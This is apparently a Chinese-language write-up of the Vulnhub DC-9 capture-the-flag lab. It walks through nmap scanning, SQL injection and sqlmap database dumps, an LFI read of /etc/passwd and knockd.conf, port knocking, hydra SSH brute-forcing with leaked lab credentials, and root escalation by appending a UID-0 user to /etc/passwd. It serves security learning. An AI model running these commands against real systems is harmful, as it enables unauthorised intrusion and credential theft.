Vulnhub靶场-DC-9

准备工作

kali和靶机都选择NAT模式(kali与靶机同网段)

下载链接:https://download.vulnhub.com/dc/DC-9.zip

一、主机发现

nmap扫描内网主机

查看ip4命令:ipconfig

nmap -sP 192.168.0.1/24

二、端口扫描

nmap扫描端口

nmap -v -sV -O 192.168.0.114

暴露端口:

  • 22端口 ssh(过滤,限制登录)
  • 80端口 http

版本预测:Linux 3.2 - 4.9

image

三、数据收集

访问192.168.0.114

搜索框输入以下命令,判断存在SQL注入

' or 1=1 --+

sqlmap一把梭

爆库

python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" --dbs --batch

爆表

python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" -D 'users' --tables --batch

爆数据

python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" -D 'users' -T 'UserDetails' --dump --batch

image

这是员工的数据库,看看另一个数据库

爆表

python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" -D Staff --tables --batch

爆数据

python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" -D Staff -T Users --dump --batch

用自带的字典解密,得到账户密码:

Username Password
admin transorbital1

四、WEB后台漏洞

发现 File does not exist 可能有文件包含漏洞(LFI)

结合22端口被过滤,猜测是Port-knocking

访问http://192.168.0.114/welcome.php?file=../../../../../../../../../etc/passwd

存在漏洞,查看ssh配置文件

http://192.168.0.114/welcome.php?file=../../../../../../../../etc/knockd.conf

发现自定义端口:

image

根据Port-knocking的规则,依次访问这三个端口即可开启ssh服务

nmap -p 7469 192.168.0.114
nmap -p 8475 192.168.0.114
nmap -p 9842 192.168.0.114

image

五、SSH爆破

用刚才的员工数据库把账号密码分别写入两个字典

账户
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
-------------------------------------------------------------------------------------
密码
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

使用hydra进行爆破

hydra -L username.txt -P password.txt 192.168.0.114 ssh

爆出三个用户

image

janitor用户发现密码字典

image

将密码放入password再次进行SSH爆破

发现新用户

image

SSH登录

ssh fredf@192.168.0.114
密码:B4-Tru3-001

六、提权

sudo -l查看用户权限

发现可提权

image

查看python脚本

cd /opt/devstuff
cat test.py

image

追加写入文件的python脚本

使用OpenSSL在本地构建加密用户

openssl passwd -1 -salt admin 123456

image

提权

# 在/opt/devstuff/dist/test目录下创建一个文件
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/aaa
# 用test程序运行文件
sudo ./test /tmp/aaa /etc/passwd
# 切换用户
su admin
# 查看flag
cd /root
cat theflag.txt

image